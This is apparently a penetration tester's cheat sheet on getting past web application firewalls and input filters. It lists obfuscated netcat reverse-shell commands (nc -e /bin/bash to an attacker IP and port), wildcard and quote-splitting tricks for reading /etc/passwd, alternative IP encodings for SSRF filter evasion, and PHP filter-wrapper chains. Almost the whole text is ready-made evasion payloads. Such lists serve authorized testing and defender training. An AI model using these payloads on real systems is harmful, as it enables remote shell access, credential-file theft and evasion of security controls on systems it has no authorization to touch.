Web Filter Bypass
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Uninitialized shell variables can be used for bypassing web application firewalls (WAF). Example: bypassing a filter to execute a reverse shell - nc$u -e /bin$u/bash$u <ip> <port>. If this doesn't work try adding spaces before and after the variable (note the +'s, this example is also URL encoded): nc+$u++-e+/bin$u/bash$u <ip> <port> ($u in this case is a random attacker-picked variable that would hopefully be uninitialized on the target).
Bypass web filters by using bash wildcards:/???/?s /?cmd=%2f???%2f??t%20%2f???%2fp??s?? will bypass...and execute every command that matches. such as /bin/cat /etc/apt, and /bin/cat /etc/passwd
netcat firewall bypass: /???/n? -e /???/b??h 2130706433 1337 (/???/?c.??????????? -e /???/b??h 2130706433 1337 for nc traditional)
Standard: /bin/nc 127.0.0.1 1337
Evasion:/???/n? 2130706433 1337
Used chars: / ? n [0-9]
Standard: /bin/cat /etc/passwd
Evasion: /???/??t /???/??ss??
Used chars: / ? t s$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
Can use \\ instead of ' as wellIt is still understood by most programs and languages when converted to other formats, such as decimal, and avoids . character in filtered HTTP requests: 127.0.0.1 = 2130706433
http://127.0.0.1
#0 Concatenation
http://127.0.1
http://127.1
#Decimal
http://2130706433
#Hexidecimal
http://0x7f000001
#Dotted Hexidecimal
http://0x7f.0x0.0x0.0x1
http://0x7f.0x000001
http://0x7f.0x0.00x0001
#Others (need descriptions)
http://0177.00.00.01
http://000000177.0000000.000000000.0001
http://017700000001
http://%31%32%37%2e%30%2e%30%2e%31
http://127.0x0.000000000.0x1
http://①②⑦．⓪．⓪．①Injecting IPs when . is disallowed: convert dotted-decimal format to decimal value - ip2dh
From PayloadsAllTheThings php://filter/ has multiple ways to bypass PHP input filters ;These can be chained with | or / : zip, data, expect, input, phar; many more different wrappers to try!
/zlib.deflate/read=string.rot13/convert.base64-encode/convert.iconv.utf-8.utf-16/resource=<resource to get>
